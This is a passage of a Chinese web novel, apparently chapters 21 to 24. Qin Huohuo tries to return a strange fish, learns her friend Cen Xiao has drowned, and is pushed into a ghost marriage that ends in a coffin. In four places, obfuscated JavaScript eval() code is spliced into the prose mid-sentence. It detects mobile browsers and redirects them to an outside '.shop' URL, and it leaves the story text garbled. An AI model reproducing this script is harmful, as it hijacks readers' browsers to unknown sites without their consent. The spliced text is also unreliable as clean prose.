“哈哈……霍霍,哈哈哈……这么多年,我可从没见过你那么狼狈的样子。” 秦霍霍看着眼前的岑萧笑得快要一口气上不来的样子,抽了抽嘴角。 为什么自己完全不记得有这回事,难道不应该是被那条怪鱼在追杀么?这一切难道真的是自己的臆想? “那鱼是怎么找到的?”秦霍霍追问道。 岑萧缓了缓继续开口道:“就在河边,我们到那的时候,云家的下人都还没把鱼扔下河。” “是放生。”云宁在一旁幽怨的‘纠正’。 “啊对,还没放生。”岑萧顺着云宁说道。 秦霍霍懒得管到底是放生还是扔,她只想把没有弄清楚的事情搞明白,于是继续问道:“可是那条河不是变成乱葬岗了么?” “那条河在乱葬岗的另一面,云宁也没去过几次,就带错了路。”岑萧回答道。 秦霍霍看着后院大缸中呆呆的只会摆着尾巴跟鱼鳍,偶尔吐吐泡的鱼,确实很难跟那条一边喊着自己姐姐,一边大笑着追杀自己的怪鱼联系在一起。 “回来的路上这条鱼有什么异样么?”秦霍霍又问道。 岑萧不解明明大家是一起带着鱼回来了,为何秦霍霍仿佛什么都不记得了一样,难道是失忆症发作? “霍霍,你还记得我是谁么?”岑萧小心翼翼的问道。 秦霍霍一时没有反应过来,不明白为何岑萧会突然问这种问题,开口回答道:“你是岑萧啊。” 话音刚落,秦霍霍便明白了为何他会问这个问题了,大抵是以为自己的失忆症又发作了。 “我当时太害怕了,所以不记得了。”秦霍霍邹了个理由搪塞过去。 岑萧想到秦霍霍当时的样子,觉得她估计是吓坏了,便点了点头继续回答她之前的问题。 “倒是没有发生什么异样的事情,只是这条鱼较之前看起来更加痴呆了,大概是今天来回搬运他有些不适应了,过两天估计就会恢复了,你别担心。” 岑萧还以为秦霍霍是担心这条鱼,最后还加了一句让她不要担心, 秦霍霍当然不会担心这条鱼有什么问题,她现在更担心的是这条鱼没什么毛病,如果在运回来的路上这条鱼因为舟车劳顿不幸‘累死’那就再好不过了,但这些话她也不能跟岑萧说,最后还是只能点了点头。 岑萧还想再拉着秦霍霍说会话,就听秦霍霍开口道:“有些晚了,云宁也该回去了。” 正在缸边看鱼的云宁突然听到自己的名字,一脸迷茫的抬头。 “啊?” 秦霍霍眼神示意了一下菱悦,菱悦立马就明白了秦霍霍的意思。 “给岑萧少爷跟云宁小姐备马车。”菱悦朝一旁的下人吩咐道,说罢还跟两人做了一个请的动作。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150705|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>都已经明摆着赶客了,岑萧也不好继续留下来了。 “那跟云宁过俩日再来看你。”岑萧说完便跟着菱悦往府外走去。 云宁路过秦霍霍的时候撇嘴嘟囔道:“哼,我才不来看你呢。” 说完小跑追上岑萧一同往府外走去。 …… 秦霍霍坐在一旁的躺椅上,嗑着瓜子看着府中的下人忙上忙下,将那条鱼从大缸中转移到另一个大水盆里。 “小姐,你要带这条鱼去哪啊?”菱悦指挥下人们搬运,还不忘给秦霍霍递水。 秦霍霍正好瓜子磕的有些口渴了,接过茶水准备喝一口,结果因为躺着的缘故,整杯茶都倒在了身上。 “小姐!你没事吧!”菱悦吓得赶忙将那杯茶拿走,从口袋中掏出一方帕子擦了擦秦霍霍身上的茶水。 所幸茶水并不烫,只是有些温热而已。 菱悦松了一口气,有些埋怨的开口道:“小姐您下次还是坐起来喝吧,太懒了也确实不太好” 秦霍霍看着起身看着身上的茶叶,一脸认同的点了点头。 “菱悦,你让他们搬着,我去换个衣服。”秦霍霍拍着身上的茶叶往屋内走去。 …… 等秦霍霍换好衣服,鱼已经打包好并且装上车了,菱悦也正在马车旁等着秦霍霍。 “小姐我们这是去哪?”菱悦将秦霍霍扶上马车后开口问。 秦霍霍答道:“去满香楼。” 菱悦没有过多的询问,吩咐了车夫目的地后,不知道从哪掏出了一把瓜子放到秦霍霍面前。 “小姐,到满香楼还要些时间,您嗑会瓜子吧。” 秦霍霍一想到刚才水泼到身上的事情,婉拒道:“算了,吃多了上火。” 菱悦不知道又从哪掏出了一杯茶递到秦霍霍面前,“我还带了菊花茶。” 秦霍霍看着菱悦手中的茶,抽动了一下嘴角,伸手挡了回去。 “不了,我怕等下晕车。” 菱悦点了点头,然后把瓜子跟菊花茶又火速不知道塞到了哪里,好像刚才一切都没有发生过。 要不是面前还残留着几片瓜子皮,秦霍霍都以为刚才的一切是自己的幻觉了,她震惊的看着菱悦,又看了看自己面前的瓜子皮,所以菱悦是会法术么?这些东西怎么是怎么突然出现又突然消失不见的啊! 菱悦完全没有注意到秦霍霍震惊的目光,自顾的去外边同车夫将注意别让车太颠了。 "菱悦,你家祖上有人修仙么?"秦霍霍忍不住开口问道。 “啊?”菱悦被这个突如其来的问题弄得有些摸不着头脑。 “没事。”秦霍霍也觉得自己问的问题太过于离谱了,于是又摆摆手打了个哈哈说道。 在秦霍霍的即将被马车颠散的那一刻,终于到了满香楼,秦霍霍迫不及待的想要下车舒展一下自己。 但刚一下车就看到赫然的几个大字卸载满香楼门前的招牌上。 ‘掌柜家中有事,暂时歇业,归期未定。’ 22. 第二十二章 秦霍霍围着牌子来来回回看了七八遍,确认牌子上确确实实写着掌柜不在的这个事情。 她朝马车的后方看了一眼,那边此刻正放着那条怪鱼。 一想到拿到这条怪鱼后发生的怪事,秦霍霍还是忍不住上前用力敲了敲满香楼的大门。 满香楼的大门是木质的,秦霍霍每拍一下门,除了“砰砰砰”的声音还会伴随着木门的“吱嘎吱嘎”声。 连着敲了好几下,也不见有人来开门,反而是把周边的商户也敲来了。 一个身形有些些发胖的男子好奇的走了过来。 他先是打量了一下秦霍霍,又打量了一下他们来时坐的马车,然后带着一些谄媚的笑容开口:“小姐,您是慕名来满香楼的吧?” 秦霍霍听到他的声音,回头看了一眼,并没有选择搭理他,反而又敲了两下满香楼的门。 那个男子见秦霍霍不理自己,便伸手拉住了秦霍霍准备继续敲门的胳膊。 “你干嘛!”菱悦反应很快将那男子的手打掉,然后将秦霍霍护在了自己的身后。 秦霍霍也立马将自己的手缩了回来,怒视着眼前唐突无理的男子。 “嘿嘿,满香楼的掌柜啊,前几日带着所有的家当跟仆从走了。”那男子完全没有理会二人的眼神,反而走近了满香楼的大门,将眼睛贴近了门缝往里看着说。 带着所有仆从跟家当走了,那俨然是不准备再回来了。 现在怪鱼还不回去,满香楼的掌柜也不见了。 “去河边。”秦霍霍转身上了车。 这怪鱼高低是不能再留着了,那就哪来的去哪吧,既然是那日泛舟节从河里钓起来的,那就送回河里,谁愿意钓就钓走。 泛舟节那日的河离满香楼并不远,秦霍霍感觉自己上车还没坐稳就到了。 “快快快啊。”一声急促的男声在马车外焦急的响起,随后便听到一群人跑动的声音。 秦霍霍撩起马车的窗帘子往外望去,只见原本的空无一人河边,此刻站满了人。 一批批人身上绑着麻绳跳进河里,又有一些人陆陆续续的从河里出来。 “这在干嘛?比赛跳河?”秦霍霍看着眼前众人的怪异行为不解道。 菱悦也一脸疑惑看着河边的众人,她也从未见过眼前的这个情况,至于秦霍霍所说的比赛跳河,那肯定是不存在的。 由于河边的人实在太多了,马车没法靠得太近,只能尽量靠近河边停了下来。 车刚停下,秦霍霍就迫不及待地跳了下来。 菱悦见状也急忙跟着跳下来说:“小姐,你小心点啊。” 秦霍霍现在好奇的不行,哪里顾得上菱悦说的小心点。 刚一靠近人群,秦霍霍便发现这些人穿着的并不是寻常百姓的服饰,而一个看起来已经已是花甲之年的老人,此刻正被围在中间。 那老人穿着一身大红色的丝质长衫,头上带着一顶纱帽,神色紧张的一直往河里望去,他身后的人拉着他的袖口,生怕他会掉下河去。 秦霍霍觉得眼前的人穿着很是眼熟,但是却怎么都想不起来,指着眼前的人,转头向才刚跑到自己身边的菱悦问道:“他穿的好眼熟啊,你见过么?” 菱悦顺着秦霍霍手指的方向看去,那穿着丝质长衫的老人,不正是县令老爷么? 菱悦赶忙将秦霍霍指着县令的手给拽了下来,“那是县令老爷啊。” 像秦霍霍这般指着县令的行为,无论如何都不好,更何况这个县令的脾气也不算太好。 “怪不得。”秦霍霍点了点头道。 “怎么了小姐?什么怪不得?”菱悦听到秦霍霍说的话,疑惑地问道。 秦霍霍并没有回答菱悦的话,只是笑着摇了摇头。 她拉过一个刚上岸打着哆嗦,准备到一旁准备喝一杯热茶取暖的男子。 “小哥,不知道这里怎么了?” 那人刚从河里出来,冷的直打哆嗦根本无心理会秦霍霍的话,摆了摆手便离开了。 秦霍霍赶忙跟了上去,等那人穿上衣服喝上一口热茶后,又开口,“小哥,这里是发生什么了?怎么连县令都来了。” 男子拿着手中的茶杯抬眼看了一眼秦霍霍,然后就别过了身子,跟其他的人闲聊上了,完全没有想要搭理秦霍霍的打算。 秦霍霍见此情景,便从随身带着的荷包中掏出了一锭银子,举到了那人的面前,又开口道:“近几日天冷得紧。小哥不妨同几个好友一同吃顿热火锅暖暖身子。” 男子看了一眼眼前的银子,满意的点了点头,轻咳一声便收进了口袋中。 态度也从之前的完全不理会,变成了秦霍霍的好友一般,拉着她就坐下了。 男子先是看了看四周,然后小声的同秦霍霍说道:“县令老爷的小妾,投河了。” “为何啊?”秦霍霍继续问。 男子撇了撇嘴摇着头说:“那我哪知道,也许是嫌弃县令年纪太大了吧。” 年纪太大了? 秦霍霍瞧了一眼河边的县令,有些理解认同的点了点头。 确实年纪有些太大了,如果那小妾才十五六岁,天天盯着这么个夫君,人生确实没什么指望,怪不得跳河。 “诶,我看你的穿衣打扮,是有钱人家的小姐吧,你来这干嘛?”男子发问。 “我来放生攒功德。” 把怪鱼扔回河中怎么就不算放生了呢,秦霍霍面不改色心不跳的说。 男子点了点头,这些有钱人天天就想着放生这放生那,想着靠这个能给自己多攒点功德。 前几日还有人拿些一堆风筝,让自家的下人把所有的风筝放到天上,然后把绳子全给剪短了,说是要放生风筝。 只有他们想不到的放生,没有这群有钱人想不到的。 男子对于秦霍霍想要放生什么,也没有太大的兴趣,毕竟来河边多半是放生鱼、龟之类的水产,再荒唐也比不上那个放生风筝的。 “王十!到你了。”河边一个男子朝着休息处招手大喊道。 “来了!”男子马上站起身回应道,虽然脸上满是不满,但却也一点不敢耽搁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168688|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将自己的衣服脱下,然后将秦霍霍给的那锭银子好好的藏在衣服内,确保安全后便急匆匆的往河边跑去。 又一波上岸的人往休息处过来,每个人的脸上都透着浓浓的疲惫,看来这样上上下下已经很多次了。 秦霍霍毕竟也不是县衙的人,一直留在这也不好,而且还有事没做,于是便拉着菱悦回到了马车边。 “把那鱼搬下来吧。”秦霍霍站在放鱼的木箱旁说道。 这条怪鱼秦霍霍一刻都不想再看到它了,早点送回河里早好。 几个下人跟车夫一起将怪鱼从车上抬了下来,秦霍霍往里看去,那鱼此刻正在木箱中晃动着自己的尾巴和鱼鳍,时不时往外吐着泡泡,看起来同寻常的鱼并没有什么不同,但秦霍霍一看到这条鱼就会忍不住想到最近发生的怪事,赶紧招呼下人把鱼抬到河边。 “你们在干嘛?”一个很像鸭子的声音传来。 秦霍霍抬头。 声音的主人正是那个捞小妾的县令。 “县令老爷,我们放生一条鱼。”秦霍霍笑着小声地回答。 “嗯?” 县令抬了抬左边的眉毛,一脸狐疑的往木箱里看了一眼,随即大声怒斥道:“不行!” “为何?这只是条鱼而已。”秦霍霍不解。 “你看看你这鱼,看起来能把人给生吞了,如果放进河里,把我的慧儿吃了怎么办?”县令抬高了声音说道,本就像鸭子的嗓音此刻已经变得同鸭子无异了。 秦霍霍听到他的声音,脑海中忍不住想到鸭子的样子,但眼前站着的县令看起来并不好惹,如果此刻笑出了声估计自己说不定还要挨一顿板子,只能努力忍住不要笑出声。 “这鱼不吃人的。”秦霍霍一刻都不想跟这条鱼待下去,辩解道。 县令显然是完全不想听秦霍霍辩解,转过身挥了挥手,几个穿着衙役衣服的大汉便走了上来,他们一把夺过了几个下人手中的木箱。 “这条河,以后都不准再放生了。”县令用余光瞥了一眼秦霍霍,然后一边往河边走一边说道。 …… 秦霍霍一脸郁闷的坐在马车上,出门不仅没有把怪鱼处理掉,甚至还倒亏了一锭银子。 她越想越气。 直接一拳锤在了马车的桌子上,那桌子不知是用的时间太久了,还是本来就比较脆弱,竟然被秦霍霍一拳砸开了。 “小姐,您没事吧?” 菱悦被吓了一跳,赶忙拿起秦霍霍的手来回看,还好并没有出血,只是有些微微地泛红,这才松了一口气。又开口道:“小姐,鱼怎么也算是岑萧少爷送您的,如果您把它放生了,岑萧少爷也会伤心的。” 菱悦的话倒是提醒了秦霍霍。 既然于是岑萧送的,那把鱼还给岑萧不就好了? 自从拿到这条鱼之后,秦霍霍感觉自己每天都过得不太平,总是看到各种幻象,再这样下去自己迟早要被这条鱼给害死。 至于岑萧收到鱼之后会不会出意外。 她已经自顾不暇了,谁还管岑萧啊! 23. 第二十三章 秦霍霍到达岑府的时候,已是黄昏时分,光透过马车的窗帘照进车内,映的整个车厢都染上了淡淡的红色。 秦霍霍撩开帘子往天上望去。 整个天空此刻已被渲染成了如果火烧一般的颜色,很美但又及其的诡异,像是血染的红色一般诡异。 “小姐,到了。”菱悦的声音突然想起。 此刻岑府大门紧闭,门外也没有一个家丁值守。 看去倒也并没有什么不妥。 只是…… “呃,挂粉色灯笼?”秦霍霍看着秦府门前挂着的几盏粉色的灯笼,抽动着嘴角不解道。 菱悦顺着秦霍霍的目光看去,哪有粉色的灯笼,那分明是白色的灯笼。 “小姐,那是白灯笼染上了夕阳的颜色。” “……好的。” 此刻天色已经彻底暗了下来,灯笼也从之前的粉色渐渐恢复了白色,然后与夜色融为了一体。 “怎么不见人出来点灯?”虽说天色才刚暗下来,但一般像岑府、秦府这样的富贵人家,都会提前将门前的灯笼点亮,来凸显自己家中的富裕。 但现下天黑的连门前的灯笼形状都看不见了,却还没有下人出来点灯。 “是不是出门了?”秦霍霍走到院墙边,努力跳了两下想要试图看看岑府内的情况。 但这岑府不愧是高门大户,院墙也是真的高,此刻除非秦霍霍会飞,不然根本不可能看到里边的情景。 “吱嘎……” 岑府沉重的大门被人从里面打开了。 秦霍霍赶忙看去,却见出来的是两个一身素缟的丫鬟,其中一个丫鬟拿着一根长竹竿,另一个则是举着一盏油灯,应该是出来点灯的。 只是这身打扮,如果岑府的当家人没有特殊的爱好,应当不会让下人天天披麻戴孝的打扮。 他们这些富裕的人家最在意不就是吉不吉利这类的事情么,更何况岑萧每次身边带着的下人也从来没有过这种打扮的。 那看来,岑府是有人过世了。 怪不得今日天黑了才来点灯,看来府中现在应该已经忙成一团了。 “菱悦,我们还是先回去吧。”秦霍霍拽了拽菱悦说道。 虽然两家的交情不浅,但现在自己贸贸然上门拜访,总归是不太好的。 “秦小姐?”其中一个丫鬟突然唤了一声秦霍霍。 这下不能装作只是路过了,秦霍霍微微皱着眉头,一脸悲伤的转头朝岑府大门走去。 “啊,你们怎么做这个打扮?”秦霍霍装作是刚看到她们的打扮的样子。 “秦小姐……呜……”那个举着长竹竿的丫鬟突然开始痛哭,仿佛秦霍霍的问题打开了她身上的某一个开关。 一旁举着油灯的丫鬟,本来还想安慰一下她,但话一出口却变成抽泣声。 最后俩人将手中的竹竿跟油灯一扔,抱着秦霍霍就是大哭起来,秦霍霍觉得自己的两个肩头此刻都已经被泪水打湿了。 她的两只手此刻忙的都快抽筋了,不停地拍着二人的后背安慰道。 “我知道,这么突然肯定是很难接受的。” 听到这话其中一个丫鬟抬起了头,抽泣着开口:“秦小姐,你都知道了?” 秦霍霍刚准备点头。 就听到自己的另一个肩头传来了声音:“少爷不过才刚及冠没多久。” 嗯? 少爷? 去世的人竟然是岑萧? 明明前几日才刚见过,他看起来身强体壮并不像是有病的样子,难道什么突发的隐疾? “怎么会这么突然?”秦霍霍沉思了片刻忍不住问道。 “萧儿他是溺水。” 一个温柔的女声从门内传来,随着走出来的是一个面色憔悴的温柔美妇人,即便明显可以看到因为哭太久导致的眼睛红肿,却还是难掩她面上的温柔贵气,想来夫人应当就是岑萧的母亲岑夫人了。 两个丫鬟赶忙从秦霍霍的肩头上离开,退到一旁顺道擦了擦自己满脸的泪水。 秦霍霍想起今日在河边的时候,听到那个王十说有个富家少爷投河被他们捞起来了,看来他口中的富家少爷就是岑萧了。 自打自己失忆症发作后,一直很照顾自己的人就是岑萧,如今这样一个大活人说没就没了,鼻尖还是控制不住的酸了一下。 “霍霍,你进来看看萧儿吧。”岑夫人拿起手中的帕子擦了擦自己脸上的泪,然后开口说道。 秦霍霍点了点头便跟着岑夫人往府内走去。 …… 岑府非常大,从外面看就已经能感觉到,走进来之后更是不禁让人咂舌。 秦霍霍跟在岑夫人身后走了好一会儿,才进到内院之中, 院中此时已挂满了白布,四周也已经布置上了各种祭奠总要用到的物品。 正中间的屋子此刻站满了人,阵阵的哭喊声也传了过来,想来那边应该就是灵堂了。 岑夫人带着秦霍霍走进了灵堂内,灵堂内也站满了人,一个硕大的棺材摆在正中间,各色的人都围在周边放声大哭。 而一个身型略微有些发福的中年男子却坐在一旁,看长相与岑萧有着七八分的相似,看来应该就是岑萧的父亲岑老爷了, 岑老爷并没有跟其他人一样放声大哭,但泛红的眼角也可以看出,他只是一直在忍住不让自己哭出声而已。 虽说自己是一家之主,太过于悲伤反而会让大家更加难过,但自己的儿子突然去世换谁都很难装出一副无事发生的样子。 岑老爷见到秦霍霍出现在灵堂中,有些许的惊讶但很快有恢复正常,朝秦霍霍轻点了一下头,便朝围在棺材周围的人摆了摆手。 先前不少围在棺材周围的人也都往后退了一步,给秦霍霍让出了一条路。 秦霍霍突然觉得自己浑身汗毛竖起,她看了一眼周围的人,所有人都突然止住了哭声,一动不动的看着她,一直一直看着她。 周围所有的声音也消失了,甚至听不到呼吸的声音,所有人就好像木头一般注视着秦霍霍,而他们的眼睛也如何深不见底的湖水一般,即便此刻灵堂中灯火通明,却怎么也照不进他们的眼底。。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14184219|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 秦霍霍想要回头拉菱悦跟自己一起,但是回头却找不到菱悦,秦霍霍朝四周又找了找,却依然不见菱悦的身影。 周围人的眼神此刻就像在不停地催她向前,向前,向前。 秦霍霍只能硬着头皮往棺材走去。 明明只是短短的几步路,秦霍霍却感觉花了整整一炷香的时间才走到棺材边上。 秦霍霍低头往棺材内看去,岑萧躺在棺内与他平日里没有什么区别,只是整个人看起来有些惨白,就好像是抹上了厚厚的粉一样,把他原本的肤色彻底盖住了。 “霍霍,萧儿一直很喜欢你。”岑夫人的声音突然响起,吓了秦霍霍一跳,她差点没站稳摔进棺材里,还好她牢牢抓住了棺材的口子才没有掉进去。 而原本鸦雀无声的灵堂突然又爆发出了各种哭声、喊声、抽泣声。 “岑……岑萧哥哥一直对我跟云宁很好。”秦霍霍斟酌了一下开口回应。 岑夫人走到棺材边看着躺在里面的岑萧,然后拿起了手中的帕子擦了擦他的脸。 帕子带下了一些岑萧脸上的粉,露出了里边已经发青的皮肤。 秦霍霍以为自己看错了,想要在凑近一点仔细看看,明明岑萧才刚死,怎么皮肤已经发青成这样。 岑夫人却突然将手中的帕子盖在了岑萧的脸上,开口:“萧儿应该也不希望你看到他现在这般狼狈的样子。” 秦霍霍见此也只能作罢,毕竟她总当着别人爹娘的面,将他们刚过世儿子脸上的帕子给拿走吧。 “霍霍,你也回去吧。”岑夫人又开口。 话音刚落,菱悦突然就出现在了秦霍霍身后。 岑夫人说自己想要多陪陪岑萧,让一个家丁送秦霍霍二人出去。 路上, 秦霍霍忍不住开口问道:“刚才你去哪了?” 菱悦一脸疑惑地看着自己小姐,不解道:“我一直在小姐身后站着啊。” 一直在身后? 怎么可能,自己刚才明明找了她一圈,不仅不在身后,甚至感觉都不在灵堂内。 “不可能,我刚才根本没看到你。”秦霍霍直接否定了菱悦的话。 “可我明明就站在小姐身后啊,小姐刚才去找岑萧少爷的时候,边走边哭呢,我还担心小姐会伤心过度晕倒。”菱悦煞有其事的说。 哭? 菱悦说的话跟自己经历的为什么完全不一样,本想着再追问一下,但一想到刚才灵堂中诡异的事情,以及菱悦描述的一段完全不知道哪来的事情,最终还是没有问出口。 “可能是我太伤心了,没有注意到你吧。”秦霍霍顺着菱悦的话说道。 身后的哭喊声越来越远,直到完全听不到了,秦霍霍回头看去,除了早已挂满整个岑萧的白布早已看不到任何灵堂的影子了。 这时一直在前边带路的家丁开口,“秦小姐,我就送到这了。” 秦霍霍这才发现他们竟然已经走到了岑府的大门口,来时的马车也已经在大门口等着自己了。 她朝家丁道了声“多谢”便坐上了马车。 24. 第二十四章 院中摆满了各种木箱,全都盖着红色的的布,与寻常人家成亲那些聘礼并无二样,只是物件华丽与丰富了不少。但本来应该摆放着双喜红字的地方,此刻却被一个又一个的奠字替代了。 “你们要我去嫁给一个死人?”秦霍霍指着院中的聘礼,一脸震惊的质问着自己的父母。 岑萧虽说喜欢自己,一直照顾自己,但无论如何都不至于要到跟他冥婚的地步吧。 秦霍霍觉得眼前的这些聘礼上的红色,哪怕是在黑夜中也极其刺眼。 “你好好准备,过几日就要成亲了。”秦父秦母对于秦霍霍的质问,并未作出任何的回应,只淡淡扔下一句话。 二人甚至连面上的表情都没有什么波动,似乎要嫁给死人的并不是他们的女儿,更像是一个毫不相干的人。 秦霍霍这一刻彻底控制不住自己的情绪了,她想要将眼前所有的聘礼一把火烧个干净。 但刚拿到火把,菱悦就冲过来将她手中的手把夺了过来。 “菱悦,看着小姐,让她好好准备。” 即便到了这一刻,秦霍霍的情绪都已经彻底崩溃了,秦父依然依然毫无在乎,对着菱悦祝福完转身就离开了,甚至没有回头再看一眼秦霍霍。 “为什么?到底是为什么?”秦霍霍问道。 “你俩是天赐的良缘,就算他如今死了,你也要嫁给他。”秦父回答。 天赐良缘? 什么狗屁天赐的良缘,竟然拿这么荒唐的理由搪塞她。 秦父秦母并未再做过多逗留,回头扫了秦霍霍两眼便离开了院子。 “小姐?” “嗯。” “该歇息了,再……再过几日,您便要成……成婚了。”菱悦观察秦霍霍面上的表情,犹豫了一会儿开始说道。 秦霍霍听到成婚二字抬头看着菱悦,冷笑着一言不发。 菱悦见着自己小姐的样子,也不敢再多说一个字,轻叹了一口气便出了屋子,走之前还不忘将房内的尖锐物品一同带走。 …… “秦霍霍!” 一声尖锐的女声从院中传进屋里。 秦霍霍昨晚坐在椅子上,不知不觉地竟然就这样坐着睡了一夜,此刻被声音吵醒,整个人突然一下从椅子上跳了起来。 “砰——” 门被人用力地推开,发出了巨响。 秦霍霍这才看清眼前的人正是云宁,她穿着一身素色裙衫,头上簪着的也是非常简约的素色珠钗,与她往日里艳丽张扬的样子完全不同。 看来云宁已经知道岑萧的事情了,才会打扮成这样。 菱悦从外边急慌慌跑进来,因为跑的太急了还差点被门槛给绊倒,还好前边站着云宁,菱悦直接扑倒在了云宁身上,两个人一起摔倒在了地上。 云宁头上的珠钗也掉到了地上,连带着她的发髻也松了,看起来好不狼狈。 “噗,哈哈哈。”秦霍霍也是难得看到云宁这么狼狈,终于是忍不住笑出了声。 菱悦赶忙从云宁身上起来,边将云宁扶起边道歉:“对不起,对不起,云宁小姐我给您重新梳头吧。” 云宁本就心情不好,准备来找秦霍霍的茬,这下反而自己成为了她的笑料,直接把菱悦一把推开,然后拿着珠钗指着秦霍霍怒道:“你不准笑了!” 秦霍霍迫于珠钗的威胁,只好抿着嘴憋笑,但她感觉云宁此刻的头发好像也都竖起来了。 她将菱悦拉了过来,小声地对她说:“你看她的头发是不是竖起来了?” 虽说秦霍霍的声音并不大,但她们三人站的实在太近了,秦霍霍就算是呼吸声音重一点,云宁都可以听的一清二楚,轻声说话更像是掩耳盗铃的在羞辱云宁。 云宁的脸色越来越活,最后直接一屁股坐倒在地上开始嚎啕大哭起来。 秦霍霍傻眼了,她本意只是想打趣打趣云宁,没想到会这样。 “你别哭了,我不该笑你的,你起来好不好?”秦霍霍赶忙蹲下来,拉着云宁的袖子晃了晃讨好着说道。 云宁听了秦霍霍的话,哭的更大声了,一只手将秦霍霍拽着的袖子的手拍落,一抽一抽的说道:“为……为什么。” “什么?”没头没尾的三个字让秦霍霍不知道她在问什么。 “为什么萧哥哥娶你不娶我?” 秦霍霍这会彻底懵了,难道云宁还不知道岑萧死了的事情?可是她今日的打扮怎么也不像是不知道的样子啊。 “你知道岑萧他……”秦霍霍试探着开口问道。 “我知道,那又如何?” “他死了你也要嫁给他?”秦霍霍不解的问道。 云宁拿起自己的袖子擦了擦脸上的泪水,用力点了点头回答:“对!” 疯了! 这里所有人都疯了吧。 不是让自己的女儿嫁给一个死人,就是自己要求要嫁给一个死人的。 秦霍霍:“你知道嫁给他代表什么么?” 云宁没有立刻回话而是沉思了片刻,才点了点头:“我知道,是冥婚。” “那你知道……” 冥婚是会死的啊! 秦霍霍没有将后半句话说出口,而是一脸不可思议的看着云宁。 从她失忆症发作之后,云宁就一直在极力用一切方法告诉自己,她有多喜欢岑萧,可秦霍霍没有想过,云宁可以为了岑萧去死…… “只要可以跟岑萧哥哥在一起就行了。”云宁说完抬头看着秦霍霍继续道:“难道你不愿意么?” 秦霍霍摇头。 “那你不愿意为何要穿着这身喜服?”云宁不知何时已经从地上起来了,站在秦霍霍面前, 以前秦霍霍一直觉得云宁看起来小巧可人,但不知道为何此刻云宁却比自己高出了整整一个头。 云宁低头看着秦霍霍冷笑着继续道:“你看吧,你就是在骗人。” 秦霍霍低头看了一眼自己身上的衣服,不知何时已经变成一套喜服,仔细看去上边竟然还织满了奠字。 “我没有,我没有骗人。”秦霍霍用力摇着头后退说道,但却撞上了什么东西。 回头发现竟然是一口棺材,那棺材的样子与她在岑府灵堂内见到的棺材一模一样。 她感觉浑身的血液全在这一刻抽离了身体,她僵硬着身体往棺材内看去,那里赫然躺着的就是岑萧。 只是他脸上的青色越来越重了,即便盖着厚厚的粉却还是可以清楚的看到。 自己不是秦府么?为什么突然会到这里来? 是因为失忆症么?中间到底发生了什么?为什么什么都记不得了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196250|150312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦霍霍用力敲了几下自己的脑袋,希望可以响起一些细枝末节的东西。 “嘿嘿……”熟悉的怪笑。 秦霍霍猛地抬起头,那条怪鱼正坐在属于父母的位置上看着她。 秦霍霍想要让云宁快跑,但刚一回头一块红色盖头却突然落在了头上,眼前瞬间只剩下红色。 她想要拿下盖头,但双手却好像被人抓住了,那人的力气很大,秦霍霍尝试着挣扎了两下都无济于事。 “霍霍,乖别闹了,该拜堂了。”身边站着的男子开口道。 不是岑萧的声音,但听起来却让秦霍霍觉得很熟悉,那人的声音如同夜晚的月色一般,慢慢悠悠的落到了秦霍霍的耳中。 “好。”秦霍霍想要问他是谁,但出口的话却变成了一个好字。 “一拜天地。” 秦霍霍感觉身体不受自己的控制,不由自主的便开始鞠躬。 “二拜高堂。” 身体就像是被人施了术法一般,无法自控。 “夫妻对拜。” 秦霍霍低头的瞬间看到了对方的脚上,竟然穿着一条女式的绣花鞋。 “送入洞房!” 还不等秦霍霍细想,一股巨大的力就推了她一把,她被眼前的那个跟自己拜堂的男子拉着往前走。 不会真的要洞房吧?秦霍霍用尽浑身的力气与控制着自己的力气抗争,终于在即将迈入洞房的前一刻挣脱了,她急忙将盖在头上的盖头取下。 眼前出现的与她料想中截然不同,原本秦霍霍以为取下盖头可以看清楚自己到底在哪里,还有那个跟自己拜堂的熟悉声音是谁,但取而代之的确实一片漆黑。 她伸手往四周探去,却摸到了一块冰冷的木板,然后是第二块木板,第三块木板。 棺材? 秦霍霍第一反应就是自己是不是在岑萧的那个棺材里? 这个念头刚一出现秦霍霍就感觉到棺材中不止她一个人,而且那人好像还会动! 